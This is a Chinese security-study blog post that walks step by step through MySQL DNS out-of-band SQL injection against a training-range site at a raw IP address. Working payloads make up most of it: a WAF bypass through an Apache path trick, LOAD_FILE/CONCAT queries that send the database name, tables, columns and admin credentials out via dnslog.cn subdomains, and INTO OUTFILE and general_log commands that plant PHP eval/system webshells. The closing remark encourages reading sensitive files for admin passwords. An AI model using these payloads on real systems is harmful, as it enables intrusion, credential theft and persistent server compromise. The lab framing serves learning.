MENU

安全学习-07-MySQL-DNS注入

September 15, 2021 • 网络安全

MySQL-DNS注入

基础知识

DNS

域名系统英文Domain Name System,缩写DNS)是互联网的一项服务。它作为将域名IP地址相互映射的一个分布式数据库,能够使人更方便地访问互联网。DNS使用TCPUDP端口53。


DNSLog注入

在某些无法直接利用漏洞获得回显的情况下,但是目标可以发起请求,这个时候就可以通过DNS请求把想要获得的数据外带出来。

对于SQL盲注,常见的方法就是二分法取一个个猜,但是这样的方法麻烦不说,还容易因为数据请求频繁导致被BAN。

所以可以将SELECT到的数据发送给一个url,你用DNS解析产生的记录日志来查看数据。


具体原理如下:

首先需要有一个可以配置的域名,比如:ceye.io,然后通过代理商设置域名 ceye.io 的 nameserver 为自己的服务器 A,然后再服务器 A 上配置好 DNS Server,这样以来所有 ceye.io 及其子域名的查询都会到 服务器 A 上,这时就能够实时地监控域名查询请求了,图示如下。

DNSLOG.png

DNS在解析的时候会留下日志,咱们这个就是读取多级域名的解析日志,来获取信息
简单来说就是把信息放在高级域名中,传递到自己这,然后读取日志,获取信息

所以你会发现,每次你手动ping该域名其实都是解析出127.0.0.1,都是ping的本地。


UNC路径

通用命名规则,也称通用命名规范、通用命名约定。

格式:\\servername\sharename,其中servername是服务器名。sharename是共享资源的名称。
# 也可以使用正斜杠,推荐,因为计算机中\为转义
//servername/sharename

LOAD_FILE(file_name)

读取文件的函数,可读取本地文件、读取远程文件;

LOAD_FILE()默认不开启,需要在MySQL配置文件中加入 secure_file_priv=

  • secure_file_priv=null ==》 默认,不允许MySQL导入导出;
  • secure_file_priv=/tmp/ ==》 仅允许/tmp/目录下的导入导出;
  • secure_file_priv= ==》 导入导出无限制;
-- 查看是否开启
show variables LIKE '%secure%';

-- Windows
select load_file('C:/1.txt');
-- linux
select load_file('/opt/1.txt');

-- 使用 LOAD_FILE() 需要满足权限 FILE Privilege
-- FILE权限与SELECE/DELETE/UPDATE等不同,后者是可以具体指定到某个db的某个表的,而FILE则是全局的,
-- 即只能通过grant FILE on *.* to 'abcde'@'%'才能使FILE权限对所有db的所有tables生效
grant FILE on *.* to 'php'@'192.168.10.%';

1.png


普通用户为特殊授权无该load_file()权限;

2.png


为普通用户php@192.168.10.% 授权FILE权限;

3.png


php用户成功执行load_file();

4.png


WAF

Web应用防护系统(也称为:网站应用级入侵防御系统。英文:Web Application Firewall,简称: WAF)。利用国际上公认的一种说法:Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。

WAF是人为的一些策略,因为业务体验性是最重要的! WAF也不能过于强硬,所以WAF是有弹性的,正因此WAF也有了绕过的可能。


靶场地址

http://59.63.200.79:8014/index3.php

手工注入

1. 尝试获得注入点;

-- 加入GET参数正常输出
http://59.63.200.79:8014/index3.php?id=1

-- 尝试获得注入点
http://59.63.200.79:8014/index3.php?id=1 and 1=2
-- 找到WAF拦截

5.png


6.png


2. 利用Apache漏洞绕过WAF;

由于得知对方的Web服务器为Apache,Apache有一个规则,遇到某个文件,找不到的就会执行前一个文件,从右往左!所以我们找一个不存在的文件进行访问,从而触发该规则, 并且因为安全狗认为你是在对一个文件进行访问,不进行拦截。

http://59.63.200.79:8014/index3.php/999.txt?id=1 and 1=2

7.png

成功绕过WAF,现在就看怎么得到数据了!


3. 获取信息;

-- 通过order by 得到字段为2
http://59.63.200.79:8014/index3.php/999.txt?id=1 order by 2

-- 联合查询查看数据库,但并无回显点
http://59.63.200.79:8014/index3.php/999.txt?id=1 and 1=2 union select 1,database()

-- 布尔查询,无效
http://59.63.200.79:8014/index3.php/999.txt?id=1 and length(database())<100

-- 时间盲注,有效
http://59.63.200.79:8014/index3.php/999.txt?id=1 and if (length(database())>0,sleep(20),0)

8.png

但是感觉盲注太麻烦了,我们试下DNS注入呢!


4. DNS注入

1、DNSLog网站获取域名进行操作;

10.png


2、尝试能否使用load_file();
-- 尝试能否使用load_file()函数 
-- 
http://59.63.200.79:8014/index3.php/999.txt?id=1 and (select load_file('//bnpn04.dnslog.cn/aaa'))
-- 成功执行

11.png


12.png


3、获取数据库名;
-- 获取库名,mangzhu
http://59.63.200.79:8014/index3.php/999.txt?id=1 and (select load_file(concat('//',database(),'.bnpn04.dnslog.cn/aaa')))

13.png


14.png


4、获取表名;

中途查询满了,截图没了,就换了一个域名。

-- 表1,admin
http://59.63.200.79:8014/index3.php/999.txt?id=1 and (select load_file(concat('//',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.8fm4py.dnslog.cn/aaa')))

-- 表2,news
http://59.63.200.79:8014/index3.php/999.txt?id=1 and (select load_file(concat('//',(select table_name from information_schema.tables where table_schema=database() limit 1,1),'.8fm4py.dnslog.cn/aaa')))

16.png


5、获取字段名;
-- admin表字段1,id
http://59.63.200.79:8014/index3.php/999.txt?id=1 and (select load_file(concat('//',(select column_name from information_schema.columns where table_name='admin' limit 0,1),'.waluir.dnslog.cn/aaa')))
-- admin表字段2 username
http://59.63.200.79:8014/index3.php/999.txt?id=1 and (select load_file(concat('//',(select column_name from information_schema.columns where table_name='admin' limit 1,1),'.waluir.dnslog.cn/aaa')))
-- admin表字段3 password
http://59.63.200.79:8014/index3.php/999.txt?id=1 and (select load_file(concat('//',(select column_name from information_schema.columns where table_name='admin' limit 2,1),'.waluir.dnslog.cn/aaa')))

15.png


6、查询数据;
-- 统计admin表共多少数据
http://59.63.200.79:8014/index3.php/999.txt?id=1 and (select load_file(concat('//aaa',(select count(1) from admin),'.waluir.dnslog.cn/aaa')))

-- 数据1,flag-1flag1good1
http://59.63.200.79:8014/index3.php/999.txt?id=1 and (select load_file(concat('//',(select concat(username,'-',password) from admin limit 0,1),'.waluir.dnslog.cn/aaa')))

17.png


WebShell

当我们进行DNS注入时,用户可以使用load_file()则该用户基本就可以写文件,我们可以通过利用报错得到该服务器代码文件所在的目录,然后通过 into outfile 写一个木马文件,进行获取Shell。

示例:
select 1 into outfile 'C:/1,txt';
-- 将会在Windwos主机C盘下写一个1.txt文件,内容为1

18.png


19.png


1.通过报错拿到代码所在目录;

20.png


2.执行写入文件操作;

http://59.63.200.79:8014/index3.php/999.txt?id=1 and 1=2 union select 1,'<?php @eval($_REQUEST[9])?>' into outfile 'C:/phpStudy/WWW/9.php'

21.png


22.png

但是又触发了WAF!找办法解决

3.重新写一个文件;

http://59.63.200.79:8014/index3.php/999.txt?id=1 and 1=2 union select 1,'<?php eval(end($_REQUEST))?>' into outfile 'C:/phpStudy/WWW/opq.php'

23.png

24.png


25.png


4.功夫再高,也怕菜刀;

连接菜刀;

26.png


27.png

--

注意

DNS注入的先决条件:

  • 该台MySQL服务能满足上外网环境,可以解析IP
  • 该用户拥有FILE权限

其他类型的通过更改全局变量的方式生成日志生成webshell文件的方式:

-- 查看配置
show variables like '%general%';

-- 开启日志功能
set GLOBAL general_log='ON';

-- 设置日志存储路径
SET GLOBAL general_log_file='C:/phpStudy/www/xxx.php';

-- 执行sql语句,写入日志文件
select '<?php system($_GET[9])?>'

DNS注入疑问解答

1. DNS注入原理
通过子查询,将内容拼接到域名内,让load_file()去访问共享文件,访问的域名被记录
此时变为显错注入,将盲注变显错注入,读取远程共享文件,通过拼接出函数做查询,拼接到域名中,访问时将访问服务器,记录后查看日志

2. load_file函数的作用
用于读取文件内容,并返回输出

3. load_file函数是什么
load_file 读取文件函数,读取的内容返回为字符串输出

4. load_file函数在注入的作用
利用读取注入的报错信息,然后返回报错信息(显错注入)

5. DNS注入限制
server接收有大小限制

6. DNS是什么
是一个域名系统,是一项网络服务,它作为将域名和IP地址相互映射的一个分布式数据库,能够使人更方便地访问互联网,DNS注入就是利用了DNS这个通道。

7. load_file函数的使用限制
返回内容有限制大小,server有接受大小限制,文件必须在服务器上,指定路径要完整,必须有file权限,所有字节可读.....

8. 完整路径和绝对路径的关系
完整路径就是绝对路径

9. 相对路径和绝对路径的关系
绝对路径从根目录开始,相对路径就是指由这个文件所在的路径引起的跟其它文件(或文件夹)的路径关系

10. DNS注入利用的场景
在无法直接利用的情况下,但是可以通过DNS请求,通过DNSlog,把数据外带,用DNS解析记录查看

11. '\\\\'是什么意思?
在'\\\\'中第一个和第四个都为转义字符,"\\"变为一个字符串的反斜杠,"\\\\"为两个字符串的反斜杠,为"\\"

12. UNC路径是什么
通用命名规则,也称通用命名规范、通用命名约定,类似于\\softer这样形式的路径
13. UNC的格式是什么样的
格式 \\server\sharename\directory\filename

14. 对所有数据库有效吗?
只对mysql有效,但是其他的应该也可以尝试

15. concat的作用
用于拼接,构成一个有效的访问路径

16. '\\\\'有什么作用
'\\\\'是UNC的访问路径格式

17. 为什么UNC访问必须要符合上面写的标准格式吗?
其实并不是,在第一开始UNC路径,后面不断的更新迭代,其实写//也是可以用的
例如: //a.baidu.com/abc 也是可以的

18. DNS注入可以用在Linux的机器上面吗?
不可以,因为这里其实依靠的是UNC,只有Windows有这个

19. 为什么load_file无法读取文件。
这里需要去mysql配置文件加一个配置 
在my.ini 的最下面加一行
secure_file_priv=

20. DNS平台到哪里找?
一般来说我们用ceye.io 
不过这个平台有时候会抽风,气的我半死


注:能够使用DNS注入的网站,代表都可以使用load_file去读取文件,实际上可以尝试去读取一些敏感文件,也许运气好,读到了管理员的账号密码,或者是一些敏感信息其实都是可能的!